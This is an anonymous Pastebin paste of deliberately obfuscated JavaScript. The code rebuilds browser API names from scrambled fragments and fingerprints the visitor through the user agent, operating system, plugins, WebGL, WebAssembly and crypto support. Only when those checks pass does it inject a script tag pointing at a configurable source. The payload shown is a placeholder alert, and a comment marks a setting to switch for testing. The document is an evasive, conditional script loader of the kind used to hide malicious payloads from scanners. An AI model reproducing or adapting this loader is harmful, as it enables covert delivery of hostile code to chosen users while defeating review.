Advertisement
Guest User

Untitled

a guest
Oct 2nd, 2018
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.57 KB | None | 0 0
  1. window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
  2.  
  3. +function(){
  4.  
  5. var init = {},
  6. fn = '',
  7. pass = '__',
  8. idx = 2,
  9. instance, param; // window after sortRes() calling, window.document after createElem() calling
  10. var sorted = sortRes();
  11. console.log('sorted', sorted)
  12.  
  13. // window.postMessage&&window.devicePixelRatio&&screen.colorDepth&&navigator.cookieEnabled&&navigator.plugins
  14. // arguments: info, 'cook', 'ins', 'een'
  15. function searchElem(arg, filter, mask, extra) {
  16. var res = '',
  17. ls = info.osc, // 1
  18. some = arg.add;
  19. if (arguments && arguments.length > ls) {
  20. var len = arg.bar.length; // 10
  21. some[idx + ls] += some[idx];
  22. var ar = [some[idx + ls]];
  23. some[len - 1] += arg.dev[ls] + arg.post[+fn];
  24. ar[ls] = some[len - 1] + some[len / idx];
  25. if (filter && filter.length === idx * 2) {
  26. filter += 'ie' + arg.Message;
  27. var page = instance[some[some[idx].length] + extra]; // window.screen
  28. ar.push(page[arg.ect + arg.post[idx]], filter) // 'cookieEnabled' ?????? ie
  29. ar[idx * 2] = arg.dev[idx] + mask;
  30. } else {
  31. filter = arg.extra[mask];
  32. var page = some[len - 1][len];
  33. ar.push(page, filter);
  34. }
  35. var tempRes = ar.map(function(item, index) {
  36. index < idx ? item = instance[item]
  37. : index > idx ? item = elem[item] : ''
  38. return item;
  39. })
  40. property = tempRes[idx * 2];
  41. res = tempRes.reduce(function(prev, current) {
  42. return prev && current
  43. }, tempRes[0])
  44. } else {
  45. arg.forEach(function(el) {
  46. res += sorted[el[ls - 1]][el[ls]]
  47. })
  48. }
  49. return res;
  50. }
  51.  
  52. var info = {
  53. user: 'Name',
  54. bar: 'persistent',
  55. Message: 'Enabled',
  56. post: ['Pixel', 'Points', 'Depth'],
  57. ect: 'color',
  58. Ratio: 'random',
  59. buffer: 'side',
  60. scr: 'crypto',
  61. osc: 1,
  62. dev: ['nav', 'ice', 'plug', 'iga', 'gent']
  63. }
  64.  
  65.  
  66. var qNum = []; // [11, 6, 10, 3, 2, 8, 9, 5] after createElem()
  67. var elem = createElem(info.dev, sorted, 1); // window.navigator
  68.  
  69. function mixRes(arg, str) {
  70. var mix = [isOpen],
  71. temp = colProp.match(arg) &&
  72. isNewProp && mes && checked();
  73. cond = checkProps(str + info.bar.slice(qNum[1] + 1) +
  74. '|' + searchElem([
  75. [idx, +fn], [idx - 1, +fn], [idx + 1, +fn], [idx, +fn]
  76. ]), idx + 1);
  77. textVal[qNum[1] + 1] += 'GL' + textVal[qNum[1]];
  78. info.add[qNum[1]] = textVal[qNum[1] + 1] + info.add[qNum[1]]; // 'WebGLFramebuffer'
  79. mix.push(temp, colProp.match(cond) && info.max);
  80. return mix[+fn] || mix[idx - 1] || mix[idx];
  81. }
  82.  
  83. console.log('elem', elem)
  84. console.log('param', param)
  85. var text = fn || RegExp;
  86. var textVal = ['ppa', 'noisre', 'talp', 'afas', 'erif', 'hcuo', 'emar'];
  87.  
  88. // return Node with 2 argument and reverse textVal elements
  89. // return typeof(window.crypto)=="function"||[navigator.appCodeName,navigator.appVersion].join(navigator.javaEnabled).match(/"/g)
  90. // text = info.scr = 'crypto', arg1 = 'ssem', arg2 = textVal
  91. function addText(text, arg1, arg2) {
  92. if (arguments && arguments.length === idx) {
  93. var tmp = text || Node;
  94. if (Array.isArray(arg1)) {
  95. var lgt = arg1.length; // 7
  96. var textV = arg1.map(function(el) {
  97. var buf = el.split('').reverse();
  98. return parseEl(buf);
  99. })
  100. }
  101. textVal = textV.map(function(item, index) {
  102. index === info.osc ? item = 'V' + item : index === idx ?
  103. item += searchElem([
  104. [idx - 1, idx],
  105. [+fn, idx - 1],
  106. [+fn, lgt - idx],
  107. [idx, idx + 1]
  108. ]) : index === idx + 1 ? item += 'ri|' :
  109. index === lgt - idx ? item = 'T' + item :
  110. index === lgt - 1 ? item = 'F' + item : item;
  111. return item;
  112. })
  113. return tmp;
  114. } else {
  115. var bul = typeof instance[text] == 'function',
  116. sFr = arg2.length * 2 + 1; // 15
  117. arr = [arg2[+fn] + 'C' + searchElem([
  118. [+fn, idx -1 ], [idx - 1, +fn], [idx - 1, idx - 1]
  119. ]) + info.user, arg2[+fn] + arg2[idx - 1],
  120. 'j' + searchElem([
  121. [sFr, idx - 1], [sFr, +fn], [sFr, idx - 1]
  122. ]) + info.Message];
  123. var res = arr.map(function(el) {
  124. return elem[el];
  125. });
  126. if (arg1 && typeof arg1 === 'object') {
  127. for (var key in arg1) {
  128. key === sFr ? arg1[key] += arg2[idx] : ''
  129. }
  130. info.cur = arg1[sFr];
  131. } else {
  132. info.cur = 'A' + arg1 + 'bly';
  133. arg2[sFr / 3] += info.post[idx - 1];
  134. arg2.push('W' + searchElem([
  135. [idx - 1, idx - 1], [idx, (sFr - 1) / 2]
  136. ]))
  137. }
  138. var sTem = checkProps('"', idx - 1);
  139. var base = [res[+fn], res[idx - 1]].join(res[idx]).match(sTem);
  140. return bul || base;
  141. }
  142. }
  143. var que = info.Message.length + 1; // 8
  144. var mes = searchElem(info, 'cook', 'ins', 'een'),
  145. property, defRatio, startSign; // navigator.plugins, window.sidebar, window.Rect
  146. console.log('mes', mes)
  147. console.log('property', property)
  148. var isNewProp = instance[info.bar.toUpperCase()]; // window.PERSISTENT
  149. console.log('isNewProp', isNewProp)
  150.  
  151. // return navigator.userAgent with 4 arguments
  152. // return RegExp with 2 arguments
  153. function checkProps() {
  154. var prop, ar = [],
  155. len = arguments.length; // 4 for first calling
  156. for (var i = 0; i < arguments.length; i++) {
  157. ar[i] = arguments[i];
  158. }
  159. if (len > idx) {
  160. var idn = len - 1; // 3
  161. ar[idx + 1].buffer += ar[idx + 1].add[idx - 1];
  162. defRatio = instance[ar[idx + 1].buffer];
  163. ar[idx + 1].add[+fn] += ar[+fn] + ar[idx + 1].dev[len];
  164. var searchRes = searchElem([
  165. [+fn, idx + 1],
  166. [idx - 1, idx - 1],
  167. [+fn, +fn]
  168. ]) + ar[idx] + 'ty';
  169. ar[idx + 1].plus = param[searchRes]; // document.security
  170. startSign = instance[ar[idx - 1] + ar[idx + 1].add[len]]; // window.Rect
  171. info.rest = searchElem([
  172. [idx, len + idn],
  173. [len + idx, +fn],
  174. [idx, idx],
  175. [+fn, len + 1]
  176. ])
  177. prop = elem[ar[idx + 1].add[+fn]];
  178. } else { // 1 argument - without flag; 1 - 'g', 2 - 'gi', else 'i'
  179. var textProp = '';
  180. ar[1] ? ar[1] === idx - 1 ? textProp = (typeof fn)[qNum[qNum.length - 1]]
  181. : ar[1] === idx ? textProp = searchElem([[idx + 1, +fn], [idx - 1, idx + 1]]) :
  182. textProp = (typeof fn)[idx + 1] : '';
  183. if (textProp) prop = new text(ar[0], textProp)
  184. else prop = new text(ar[0]);
  185. }
  186. return prop;
  187. }
  188. var colProp = checkProps('A', 'R', 'uri', info);
  189. console.log('colProp', colProp);
  190. console.log('defRatio', defRatio)
  191. console.log('startSign', startSign);
  192. function count(arg) {
  193. if (arg && typeof arg === 'object') {
  194. var listS = [];
  195. for (var key in arg) {
  196. listS.push(arg[key])
  197. };
  198. var res = listS.filter(function(item) {
  199. return item !== '' && item !== pass;
  200. })
  201. return res;
  202. }
  203. if (extended) {
  204. if (mixed) {
  205. console.log(restParam);
  206. if (
  207. addParam > 0 && instance[arg]
  208. ) {
  209. list();
  210. }
  211. }
  212. }
  213. }
  214.  
  215. var prevList = param[searchElem([ // document.body
  216. [idx, que - 1],
  217. [+fn, idx - 1],
  218. [idx - 1, +fn],
  219. [que + idx, que - 1]
  220. ])];
  221. console.log('prevList', prevList)
  222. var tParam = addText(fn, textVal); // Node
  223. var parsed = parseEl(tParam, pass, qNum[idx]); // Node.__cspr__
  224. console.log('parsed', parsed);
  225. console.log('info', info)
  226. info.desc = checkProps('chr' + searchElem([
  227. [+fn, idx - 1], [idx, idx + 1], [idx - 1, idx - 1]
  228. ]), idx + 1);
  229. var track = new Date/1e13;
  230.  
  231. // return window.navigator
  232. function createElem(arr, arg, fix) {
  233. var number = arg.length / 2; // 8
  234. arr[idx + 1] += arg[+fn].slice(number);
  235. var tmp = searchElem([
  236. [fix, +fn],
  237. [+fn, fix],
  238. [+fn, +fn]
  239. ]) + sorted[idx].substr(idx, idx + 1) + 'nt';
  240. param = instance[tmp];
  241. if (typeof obj === 'object') {
  242. for (var key in obj) {
  243. key === tmp ? obj[key] = param
  244. : obj[key] += arr[idx + fix]
  245. }
  246. } else {
  247. tmp = searchElem([
  248. [fix, fix],
  249. [idx, number - fix],
  250. [idx, idx],
  251. [idx + 1, +fn]
  252. ]);
  253. info.max = instance['D' + tmp];
  254. info.add = Object.keys(info);
  255. }
  256. var qNums = arg.map(function(el) {
  257. return el.length;
  258. })
  259. qNum = qNums.reduce(function(res, num) {
  260. if (res.indexOf(num) === -1) res.push(num);
  261. return res;
  262. }, []);
  263. console.log('qNum', qNum)
  264. arr[+fn] += arr[idx + 1];
  265. return instance[arr[+fn]]; // window.navigator
  266. }
  267.  
  268.  
  269.  
  270. // return sorted with all letters; define instance as window
  271. function sortRes() {
  272. var tmp = Object.getOwnPropertyNames(init.__proto__),
  273. arr = [];
  274. var res = tmp.map(function(item) {
  275. for (var i = 0; i < item.length; i++) {
  276. item[i] === '_' ? item = item.slice(i + 2)
  277. : item[i] === item[i].toUpperCase()
  278. ? (arr.push(item.slice(i)), item = item.slice(+fn, i))
  279. : item;
  280. }
  281. return item;
  282. })
  283. arr.forEach(function(item) {
  284. for (var i = 1; i < item.length; i++) {
  285. item[i] === item[i].toUpperCase()
  286. ? ( res.push(item.slice(+fn, i)),
  287. res.push(item.slice(i)))
  288. : ''
  289. }
  290. })
  291. if (arguments && arguments.length === tmp.length) {
  292. for (var i = 0; i < arguments.length; i++) {
  293. arr.indexOf(arguments[i]) === -1
  294. ? arr.push(arguments[i]) : ''
  295. }
  296. } else instance = window;
  297. var result = res.reduce(function(sum, item) {
  298. if (sum.indexOf(item.toLowerCase()) === -1
  299. && item.indexOf('_') === -1 && item !== pass
  300. && item !== fn && item !== '_')
  301. sum.push(item.toLowerCase());
  302. return sum;
  303. }, []).sort();
  304. return result;
  305. }
  306.  
  307.  
  308.  
  309. ~function(message, rad) {
  310. if (elem && typeof elem === 'number') {
  311. var mark = 0;
  312. Math.floor(rad) === elem ? mark = elem
  313. : mark = info.osc + rad;
  314. return mark;
  315. } else {
  316. Math[rad] = function() {
  317. return track
  318. };
  319. }
  320. message && message.forEach(function(mes) {
  321. tParam.prototype[mes[+fn]] = mes[+fn + 1]
  322. });
  323. }(parsed, info.Ratio);
  324.  
  325. var checked = function(){ return !fn.match.call(property[0].name, "um") };
  326. var addParam = info.plus?4:defRatio?1:2;
  327. var singleVal = addText(info.scr, 'ssem', textVal); // text = info.scr = 'crypto', arg1 = 'ssem', arg2 = textVal
  328. console.log('singleVal', singleVal);
  329. // colProp.match(/safari|firefox/i) && (startSign || defRatio )
  330. var isOpen = colProp.match(
  331. checkProps(textVal[idx + 1] + textVal[qNum[1] - idx] +
  332. searchElem([[idx - 1, idx], [+fn, idx - 1]
  333. ]) + 'x', idx + 1)) && (startSign || defRatio );
  334. console.log('isOpen', isOpen)
  335.  
  336.  
  337. // 1st if
  338. function extendElem(arg, arg1, sub) {
  339. var isLast = checkProps('w' + sub + searchElem([ // /lin|mac/gi ************* change to 'w' for testing!!!
  340. [idx * 2, idx - 1], [+fn, +fn]
  341. ]), idx);
  342. var condArr = [
  343. elem[textVal[idx]].match(isLast),
  344. !elem['max' + textVal[qNum[idx] / 2]],
  345. !singleVal, rest
  346. ]
  347. info.cur = textVal[qNum[1] + 1] + info.cur; // 'WebAssembly'
  348. var segm = instance[info.cur] && elem[info.add[qNum[1] + 2]+ arg1];
  349. condArr.push(!instance[info.fin] ||
  350. segm || elem[arg + 'm' + info.Message]);
  351. console.log('condArr', condArr)
  352. var result = condArr.reduce(function(prev, current) {
  353. return prev && current
  354. }, condArr[0])
  355. return result;
  356. }
  357.  
  358. var restParam = checkProps(sorted[idx + 1][+fn]); // /g/;
  359.  
  360. list = function() {
  361. var type = info.add[qNum[idx - 1] + 1] + searchElem([
  362. [idx - 1, idx + 1],
  363. [qNum[idx], +fn],
  364. [+fn, qNum[1] - idx]
  365. ]), inst, serv;
  366. if (typeof param === 'object') {
  367. serv = param.createElement(type);
  368. inst = prevList.appendChild(serv);
  369. } else {
  370. serv = instance[prevList[qNum[idx + 1]]];
  371. inst = serv.appendChild(info.scr);
  372. }
  373. return inst.src = instance.globalScriptSrc;
  374. };
  375.  
  376. try{ var rest = instance[info.rest]+fn }catch(e){ var rest=false };
  377. restParam.toString = function() { --addParam; return fn };
  378.  
  379. // 1st if
  380. var extended = extendElem('was', 'pu', 'in|m');
  381. console.log('extended', extended)
  382.  
  383. var mixed = mixRes(info.desc, 'trid');
  384. console.log('mixed', mixed)
  385. console.log('textVal', textVal);
  386. count(info.add[qNum[1]]);
  387.  
  388. // return Node.__cspr__ with arguments tParam = Node, pass = '__', qNum[idx] = 10
  389. // join array if 1 argument
  390. function parseEl(el, prop, idn) {
  391. if (idn && typeof idn === 'number') {
  392. var array = info.add;
  393. prop += searchElem([
  394. [+fn, +fn],
  395. [+fn, idx + 1],
  396. [idn, +fn],
  397. [+fn, idn]
  398. ]) + prop;
  399. if (array.indexOf(prop) !== -1) {
  400. info.fin = array.filter(function(el) {
  401. return el.number > idn;
  402. });
  403. info.fin.push(prop);
  404. } else {
  405. info.fin = searchElem([
  406. [idx - 1, +fn],
  407. [idx, idx],
  408. [idx, idx + 1],
  409. [idn, +fn]
  410. ])
  411. }
  412. return el[prop];
  413. } else {
  414. if (el && Array.isArray(el)) {
  415. return el.join('');
  416. } else {
  417. var temp = [];
  418. for (var key in el) {
  419. key === prop ? temp.push(el[key])
  420. : el[key] += 'new'
  421. }
  422. return temp;
  423. }
  424.  
  425. }
  426. }
  427. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement